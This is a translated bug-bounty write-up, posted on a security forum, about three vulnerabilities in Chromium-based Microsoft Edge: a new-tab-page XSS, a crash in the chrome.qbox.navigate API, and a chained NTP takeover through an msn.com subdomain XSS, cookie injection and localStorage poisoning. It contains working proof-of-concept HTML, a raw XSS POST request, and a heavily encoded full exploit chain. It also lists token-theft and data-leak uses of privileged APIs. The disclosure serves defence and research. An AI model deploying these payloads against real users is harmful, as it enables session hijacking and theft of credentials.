首页
论坛
课程
招聘
[翻译]微软Edge浏览器(Chromium)——从XSS到接管NTP页面的漏洞分析
2020-1-21 18:13 4547

[翻译]微软Edge浏览器(Chromium)——从XSS到接管NTP页面的漏洞分析

2020-1-21 18:13
4547

微软已宣布他们将发布一款基于Chromium的Edge浏览器。Chromium(假如你不了解)是谷歌开发的一个开源浏览器,Google Chrome浏览器就是基于Chromium的,很快Microsoft Edge也将基于Chromium。

2019年8月20日,微软宣布了一项针对Chromium Edge浏览器的漏洞赏金项目。规则是只有在微软的代码中发现的漏洞才有资格得到赏金。这意味着攻击面非常小,为了弥补这一点,微软提供了两倍的奖金(与EdgeHTML的赏金相比)。这意味着该新浏览器的一个有效漏洞可能价值3万美金。

本文中,我将解释自己是如何通过发现该浏览器3个不同的bug,最终获得4万美元。我还惊喜的发现,是我报告了该项目的第一个有效漏洞。

新标签页(NTP)XSS

新标签页(NTP,New Tab Page)是打开浏览器或打开新标签时看到的第一个页面。当然有很多例外,我说的是默认设置下,Edge浏览器的NTP页面的独特之处在于它是一个在线网站,地址为:'https://ntp.msn.com/edge/ntp?locale=en&dsp=1&sp=Bing'。

火狐浏览器的内置页为'about:home'/'about:newtab'。Chrome浏览器为'chrome-search://local-ntp/local-ntp.html'。这些都很重要,因为我们需要找到微软对Chromium做的新改动,这样才能拿到奖金。

这个bug的发现完全是个意外。当我第一次打开新Edge浏览器时根本没有多注意NTP,而是直接研究那些与Chromium相比更独特的功能,其中一个叫Collections。虽然当时它看起来已超出赏金范围,而且只能通过标志启用,但我仍然想尝试通过它找到突破口。

Collections就像一个更强大、功能更丰富的书签,当你把一个网址添加到Collections时,它会获取标题、描述和一张图片,拼在一起并展示为一张Twitter card。测试了下,如果我保存一个标题有HTML标签的网页,Collections栏是否会渲染标题中的HTML代码呢,答案是没有。

过了一会儿我就上床睡觉了,第二天早上当我打开新Edge浏览器时,迎接我的是以下新标签页:

你看到那个吗?那个小小的、黑体的字母“a”。

因为这是一个新浏览器,我访问的所有网页基本上都会作为“顶部推荐”展示在新标签页中,没有经过安全过滤。没有东西阻止我执行Javascript代码,所以一个简单的XSS攻击实现了。这是攻击的视频:https://leucosite.com/Edge-Chromium-EoP-RCE/NTP-TOPSITE-XSS.mp4

你也许会疑问为什么这个漏洞很重要。NTP上的XSS漏洞有什么用?NTP其实是一个高权限页面。我们在基于Chromium的浏览器上就是通过查看chrome的javascript对象来进行测试的。

这是chrome对象的对比图,一个是普通网页的,一个是Edge设置页面的。


很明显,对象中的'edge://settings/profiles'包含了更多函数,其他函数也是我们感兴趣的高权限函数,当我们通过正常的、非特权的网页得到时就可以利用这些信息。

目前为止,我们已将Javascript代码注入到高权限的内容中,实现了非法提权(EoP)。现在看看在这种高权限的环境下,我们能做些什么。

从非法越权(EoP)到潜在RCE

幸运女神再一次眷顾了我。还记得从chrome对象中获取的高权限函数,我开始研究怎样能通过这些函数,进一步利用非法提权漏洞。

我在‘chrome.qbox’中找到一个没有记录的对象,找不到任何相关的网页介绍。我推断这一定是一个微软独有的对象,但它到底是什么呢?一起看这个视频: https://leucosite.com/Edge-Chromium-EoP-RCE/qbox.mp4

我在’chrome.qbox.navigate’中找到一个奇特的函数,通过报错信息,发现一个类型为qbox.NavigationItem的对象。通过几轮分析,我发现可以将一个JSON对象传递给这个函数,这个JSON对象至少包含一个’url’和’id’就不会报错。

chrome.qbox.navigate({id:0,url:""})

这很好,但没什么用。我希望能弹出一些窗口或其他任何东西,但是并没有。所以我尝试对’url’和’id’的值做了遍历,直到最后执行了以下参数:

chrome.qbox.navigate({id:999999,url:null})
执行后Edge浏览器消失了,我在crashdump文件夹中找到这个:
(69a4.723c): Access violation - code c0000005 (first/second chance not available)
ntdll!NtDelayExecution+0x14:
00007ffd`9fddc754 c3              ret
我想可能是因为null值吧。这意味着它应该是不可利用的,但我相信会有例外,继续研究。
rax=000001ff5651ba80 rbx=000001ff5651ba80 rcx=000001ff5651ba80
rdx=3265727574786574 rsi=000001ff5651ba80 rdi=0000009eb9bfd4f0
rip=00007ffd17814b40 rsp=0000009eb9bfd300 rbp=000001ff4fec30a0
 r8=000000000000008f  r9=0000000000000040 r10=0000000000000080
r11=0000009eb9bfd290 r12=000000000000006f r13=0000009eb9bfda90
r14=0000009eb9bfd478 r15=00000094b5d14064
iopl=0         nv up ei pl nz na po nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
msedge!ChromeMain+0x9253e:
00007ffd`17814b40 488b02          mov     rax,qword ptr [rdx] ds:32657275`74786574=????????????????
Resetting default scope

FAULTING_IP: 
msedge!ChromeMain+9253e
00007ffd`17814b40 488b02          mov     rax,qword ptr [rdx]

EXCEPTION_RECORD:  (.exr -1)
ExceptionAddress: 00007ffd17814b40 (msedge!ChromeMain+0x000000000009253e)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 0000000000000000
   Parameter[1]: ffffffffffffffff
Attempt to read from address ffffffffffffffff

DEFAULT_BUCKET_ID:  INVALID_POINTER_READ

PROCESS_NAME:  msedge.exe

这貌似是一个可利用的崩溃,我不擅长内存漏洞,所以不得不重新阅读与崩溃漏洞利用相关的MDN文件。慢慢的我确认自己发现了漏洞,通过反复研究'qbox.navigate'函数并造成不同表现的崩溃,我确定Web页面上有一个可利用的崩溃(RCE)!下面是POC:

<html>
<head>
<title>test<iframe/src=1/ onload=chrome.qbox.navigate(JSON.parse(unescape("%7B%22id%22%3A999999%2C%22url%22%3Anull%7D")))></title>
<body>
q
</body>
</html>
这一点得到了微软的证实,XSS和崩溃被分成了两个漏洞,让我得到1.5万和1万的奖励。从技术上讲,是我最先发现了新Edge浏览器的两个漏洞! 

接管NTP

之前的两个bug都依赖'ntp.msn.com'网址的XSS漏洞来渲染HTML代码。那为什么不将'ntp.msn.com'网址做为渗透测试的对象呢。我只需要一个XSS漏洞,就可以通过越权获得一个浏览器漏洞。

访问'https://ntp.msn.com/compass/antp?locale=qab&dsp=1&sp=qabzz'时我注意到,它看起来像一个正常的NTP,只是加载不完全,这是很重要的点。正常NTP页面'https://ntp.msn.com/edge/ntp?locale=en&dsp=1&sp=Bing'加载时会使用某种缓存机制,只是两者的源代码不一样。

我用Burpsuite试着在'https://ntp.msn.com/compass/antp?locale=qab&dsp=1&sp=qabzz'上寻找漏洞,最后发现当我设置一个命名为'domainId'的cookie时,它会显示在不正常NTP页面的script标签中。因为没有经过安全过滤,我可以通过cookie的值注入代码。

利用cookie进行渗透的好处是,可以将一个给定域名下的所有子域名设置为共享cookie,我只需要在任意MSN子域名中找到一个XSS漏洞并设置cookie,不正常NTP页面就会执行JS代码。通过一番侦察和搜索,我在'http://technology.za.msn.com'中找到了这个XSS漏洞,这个页面现在已被删除,因为它看起来就像一个被遗忘的子域名,使用了非常老旧的技术。我很快发现,通过发送一个特殊POST请求,网站会生成一个错误信息,造成错误的变量值没有经过安全过滤,会反馈出来。

通过以下HTTP请求触发该XSS漏洞:

POST /pebble.asp?relid=172 HTTP/1.1
Host: technology.za.msn.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 20
Origin: http://technology.za.msn.com
Connection: close
Referer: http://technology.za.msn.com/pebble.asp?relid=172
Cookie: PublisherUserProfile=userprofileid=322220CC%2D9964%2D47F9%2DAE30%2D2222258E99A4; PublisherSession=uid=DIN2DWDWDFWWW7L3OHA5N6; ASPSESSIONIDSCCQSRDS=EOJQQDDFGGGEEPCPNFOBL; _ga=GA1.q.21062224016.4569609491; _gid=GA1.q.1840897607.1569609491; _gat=1; __utma=2qq77qq6.21qqqq4016.156qqqq9491.156960qqq.qqqqqq91.1; __utmb=201977236.1.10.1569609491; __utmc=201977236; __utmz=201977236.1569609491.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1; __gads=ID=qqqq5dd817qqqb4:T=1562229492:S=ALNI_MZUnsEhqqqqjxzklxqqqqqJHo1A
Upgrade-Insecure-Requests: 1

startnum=90'<b>xss</b>

唯一的缺点是服务器需要42秒才能响应错误。服务器响应后,会看到'<b>xss</b>'渲染在页面中。用一个通用的XSS向量替换它就会执行JS代码。由于没有'X-FRAME-OPTIONS'头部,我可以利用'IFRAME'在我自己的网站上嵌入这个页面,执行POST请求并触发隐藏的“IFRAME”上的XSS漏洞,让潜在的受害者对任何可疑的东西一无所知。

好了,渗透的过程更加清楚了,但是正如我之前提到的,这是XSS到不正常NTP页面的方法,对默认/正常的NTP网页没有用。我发现正常NTP使用'localStorage'进行缓存,这不是大问题,因为正常NTP和不正常NTP是同源的。我访问到localStorage并添加JS代码到缓存HTML中,现在我可以接管NTP了。

你也许会疑问接管NTP有什么危险,崩溃现在已被修复。正如我之前提到的,NTP是一个高权限页面,可以通过它访问一些有趣的函数,做很多有趣的事情。以下是我想到的一个恶意NTP可以做的事:

1.要求Edge用户用微软账户登陆,NTP页面是最完美的地方,因为用户都信任它。

2.访问'chrome.authPrivate.acquireAccessTokenSilently',可能会泄露用户令牌实现身份伪造。

3.利用'chrome.authPrivate.getPrimaryAccountInfo(e=>{console.dir(e)})'泄露用户私密信息,包括邮箱和银行卡号。

4.利用'chrome.embeddedSearch.searchBox.paste("file:///C://")'诱骗用户访问本地文件(需要诱骗用户按回车键)。

5.利用'chrome.embeddedSearch.newTabPage.updateCustomLink(i,"http://www.g.com","http://www.g.com")'编辑位于NTP中的顶端站点。通过将i从0到9999循环保证编辑全部站点。

6.利用'chrome.ntpSettingsPrivate.setPref'改变所有或任意NTP的用户设置项。

7.持续跟踪和伪造MSN内容。考虑到这个bug可以持续接管NTP,可以在用户打开NTP或访问顶端站点时,利用该漏洞追踪用户行为,可以像其他恶意插件那样注入虚假广告。

好吧,可能其中有些有点夸张,但你能明白,一个恶意NTP是很危险的。

让我们总结下整个攻击过程:

1.潜在的受害者访问我们的恶意网站。

2.恶意网站通过一个POST请求,对隐藏'IFRAME'中的'technology.za.msn.com'发送XSS载荷。

3.'IFRAME'在大约42秒后加载,'technology.za.msn.com'触发XSS漏洞。

4.'technology.za.msn.com'中的XSS漏洞创建一个名为'domainId'的cookie并重定向到'domain=.msn.com',其中包含我们的第二个有效载荷。

5.当隐藏'IFRAME'触发'onload'操作,受害者被重定向到一个非正常NTP页面'https://ntp.msn.com/compass/antp?locale=qab&dsp=1&sp=qabzz'。

6.一旦'https://ntp.msn.com/compass/antp?locale=qab&dsp=1&sp=qabzz'被加载,名为'domainId'的cookie中的XSS载荷会被渲染。

7.XSS载荷访问'localStorage',在HTML代码的开头插入我们最终的有效载荷。

此时,NTP被接管,当用户打开一个新标签页时,最后的有效载荷将一直被触发!我通过新MSRC报告门户向微软报告了这一漏洞,根据最新的Edge赏金规则,我获得了1.5万美金

最后的PoC和视频

我大量使用编码的原因,是因为名为'domainId'的cookie有字符使用限制。

<html>
<head>

<body>
<iframe src="about:blank" id="qframe" name="msn" style="opacity:0.001"></iframe>
<h1>Loading...(ETA 42secs)</h2>
<form id="qform" target="msn" action="http://technology.za.msn.com/pebble.asp?relid=172" method="post">
<!--
Encoded payload (Executes in 'technology.za.msn.com')
---------------------------------------------------------------------
(qd = new Date()).setMonth(qd.getMonth() + 12);
document.cookie = "domainId=" + 
				  ('q"*' 
				  + unescape('%71%22%2a%66%75%6e%63%74%69%6f%6e%28%29%7b%66%6f%72%28%71%20%69%6e%20%6c%6f%63%61%6c%53%74%6f%72%61%67%65%29%7b%69%66%28%71%2e%69%6e%64%65%78%4f%66%28%27%6c%61%73%74%4b%6e%6f%77%6e%27%29%3e%2d%31%29%7b%77%69%74%68%28%71%6e%74%70%6f%62%6a%3d%4a%53%4f%4e%2e%70%61%72%73%65%28%6c%6f%63%61%6c%53%74%6f%72%61%67%65%5b%71%5d%29%29%7b%71%6e%74%70%6f%62%6a%2e%64%6f%6d%3d%75%6e%65%73%63%61%70%65%28%27%25%33%63%25%35%33%25%37%36%25%34%37%25%32%66%25%34%66%25%36%65%25%34%63%25%36%66%25%34%31%25%36%34%25%33%64%25%32%37%25%36%34%25%36%66%25%36%33%25%37%35%25%36%64%25%36%35%25%36%65%25%37%34%25%32%65%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%32%38%25%32%66%25%34%30%25%37%31%25%36%31%25%36%32%25%32%66%25%32%65%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%32%39%25%32%37%25%33%65%27%29%2b%71%6e%74%70%6f%62%6a%2e%64%6f%6d%7d%77%69%74%68%28%71%61%62%3d%71%6e%74%70%6f%62%6a%29%7b%6c%6f%63%61%6c%53%74%6f%72%61%67%65%5b%71%5d%3d%4a%53%4f%4e%2e%73%74%72%69%6e%67%69%66%79%28%71%61%62%29%7d%7d%7d%7d%28%29%2a%22%71') 
				  + '*"q') 
				  + ";expires=" 
				  + qd 
				  + ";domain=.msn.com;path=/";
---------------------------------------------------------------------
unescaped value above (Executes in broken 'ntp.msn.com'), this is all one line and im using with(){} a lot because semicolon not allowed.
---------------------------------------------------------------------
function() {
		for (q in localStorage) {
        if (q.indexOf('lastKnown') > -1) {
            with(qntpobj = JSON.parse(localStorage[q])) {
                qntpobj.dom = unescape('%3c%53%76%47%2f%4f%6e%4c%6f%41%64%3d%27%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%2f%40%71%61%62%2f%2e%73%6f%75%72%63%65%29%27%3e') + qntpobj.dom
            }
            with(qab = qntpobj) {
                localStorage[q] = JSON.stringify(qab)
            }
        }
    }
		
}()
---------------------------------------------------------------------
unescaped value above (Executes in normal 'ntp.msn.com')
---------------------------------------------------------------------
<SvG/OnLoAd='document.write(/@qab/.source)'>
-->
  <input  type="hidden" name="startnum" value="90'<SvG/onLoAd=eval(unescape('%28%71%64%3d%20%6e%65%77%20%44%61%74%65%28%29%29%2e%73%65%74%4d%6f%6e%74%68%28%71%64%2e%67%65%74%4d%6f%6e%74%68%28%29%20%2b%20%31%32%29%3b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3d%22%64%6f%6d%61%69%6e%49%64%3d%22%2b%28%75%6e%65%73%63%61%70%65%28%27%25%37%31%25%32%32%25%32%61%25%36%36%25%37%35%25%36%65%25%36%33%25%37%34%25%36%39%25%36%66%25%36%65%25%32%38%25%32%39%25%37%62%25%36%36%25%36%66%25%37%32%25%32%38%25%37%31%25%32%30%25%36%39%25%36%65%25%32%30%25%36%63%25%36%66%25%36%33%25%36%31%25%36%63%25%35%33%25%37%34%25%36%66%25%37%32%25%36%31%25%36%37%25%36%35%25%32%39%25%37%62%25%36%39%25%36%36%25%32%38%25%37%31%25%32%65%25%36%39%25%36%65%25%36%34%25%36%35%25%37%38%25%34%66%25%36%36%25%32%38%25%32%37%25%36%63%25%36%31%25%37%33%25%37%34%25%34%62%25%36%65%25%36%66%25%37%37%25%36%65%25%32%37%25%32%39%25%33%65%25%32%64%25%33%31%25%32%39%25%37%62%25%37%37%25%36%39%25%37%34%25%36%38%25%32%38%25%37%31%25%36%65%25%37%34%25%37%30%25%36%66%25%36%32%25%36%61%25%33%64%25%34%61%25%35%33%25%34%66%25%34%65%25%32%65%25%37%30%25%36%31%25%37%32%25%37%33%25%36%35%25%32%38%25%36%63%25%36%66%25%36%33%25%36%31%25%36%63%25%35%33%25%37%34%25%36%66%25%37%32%25%36%31%25%36%37%25%36%35%25%35%62%25%37%31%25%35%64%25%32%39%25%32%39%25%37%62%25%37%31%25%36%65%25%37%34%25%37%30%25%36%66%25%36%32%25%36%61%25%32%65%25%36%34%25%36%66%25%36%64%25%33%64%25%37%35%25%36%65%25%36%35%25%37%33%25%36%33%25%36%31%25%37%30%25%36%35%25%32%38%25%32%37%25%32%35%25%33%33%25%36%33%25%32%35%25%33%35%25%33%33%25%32%35%25%33%37%25%33%36%25%32%35%25%33%34%25%33%37%25%32%35%25%33%32%25%36%36%25%32%35%25%33%34%25%36%36%25%32%35%25%33%36%25%36%35%25%32%35%25%33%34%25%36%33%25%32%35%25%33%36%25%36%36%25%32%35%25%33%34%25%33%31%25%32%35%25%33%36%25%33%34%25%32%35%25%33%33%25%36%34%25%32%35%25%33%32%25%33%37%25%32%35%25%33%36%25%33%34%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%33%33%25%32%35%25%33%37%25%33%35%25%32%35%25%33%36%25%36%34%25%32%35%25%33%36%25%33%35%25%32%35%25%33%36%25%36%35%25%32%35%25%33%37%25%33%34%25%32%35%25%33%32%25%36%35%25%32%35%25%33%37%25%33%37%25%32%35%25%33%37%25%33%32%25%32%35%25%33%36%25%33%39%25%32%35%25%33%37%25%33%34%25%32%35%25%33%36%25%33%35%25%32%35%25%33%32%25%33%38%25%32%35%25%33%32%25%36%36%25%32%35%25%33%34%25%33%30%25%32%35%25%33%37%25%33%31%25%32%35%25%33%36%25%33%31%25%32%35%25%33%36%25%33%32%25%32%35%25%33%32%25%36%36%25%32%35%25%33%32%25%36%35%25%32%35%25%33%37%25%33%33%25%32%35%25%33%36%25%36%36%25%32%35%25%33%37%25%33%35%25%32%35%25%33%37%25%33%32%25%32%35%25%33%36%25%33%33%25%32%35%25%33%36%25%33%35%25%32%35%25%33%32%25%33%39%25%32%35%25%33%32%25%33%37%25%32%35%25%33%33%25%36%35%25%32%37%25%32%39%25%32%62%25%37%31%25%36%65%25%37%34%25%37%30%25%36%66%25%36%32%25%36%61%25%32%65%25%36%34%25%36%66%25%36%64%25%37%64%25%37%37%25%36%39%25%37%34%25%36%38%25%32%38%25%37%31%25%36%31%25%36%32%25%33%64%25%37%31%25%36%65%25%37%34%25%37%30%25%36%66%25%36%32%25%36%61%25%32%39%25%37%62%25%36%63%25%36%66%25%36%33%25%36%31%25%36%63%25%35%33%25%37%34%25%36%66%25%37%32%25%36%31%25%36%37%25%36%35%25%35%62%25%37%31%25%35%64%25%33%64%25%34%61%25%35%33%25%34%66%25%34%65%25%32%65%25%37%33%25%37%34%25%37%32%25%36%39%25%36%65%25%36%37%25%36%39%25%36%36%25%37%39%25%32%38%25%37%31%25%36%31%25%36%32%25%32%39%25%37%64%25%37%64%25%37%64%25%37%64%25%32%38%25%32%39%25%32%61%25%32%32%25%37%31%27%29%29%2b%22%3b%65%78%70%69%72%65%73%3d%22%2b%71%64%2b%22%3b%64%6f%6d%61%69%6e%3d%2e%6d%73%6e%2e%63%6f%6d%3b%70%61%74%68%3d%2f%22%3b'))">
  
</form>
<script>
qframe.onload=e=>{
 setTimeout(function(){
 location="https://ntp.msn.com/compass/antp?locale=qab&dsp=1&sp=qabzz";
 },1000)
}

qform.submit();
</script>
</body>
</html>


参考文献

https://twitter.com/spoofyroot/status/1171654526648094720

原文:https://leucosite.com/Edge-Chromium-EoP-RCE/
翻译:Green奇
校对:lumou

2021 KCTF 秋季赛 防守篇-征题倒计时(11月14日截止)!

收藏
点赞0
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回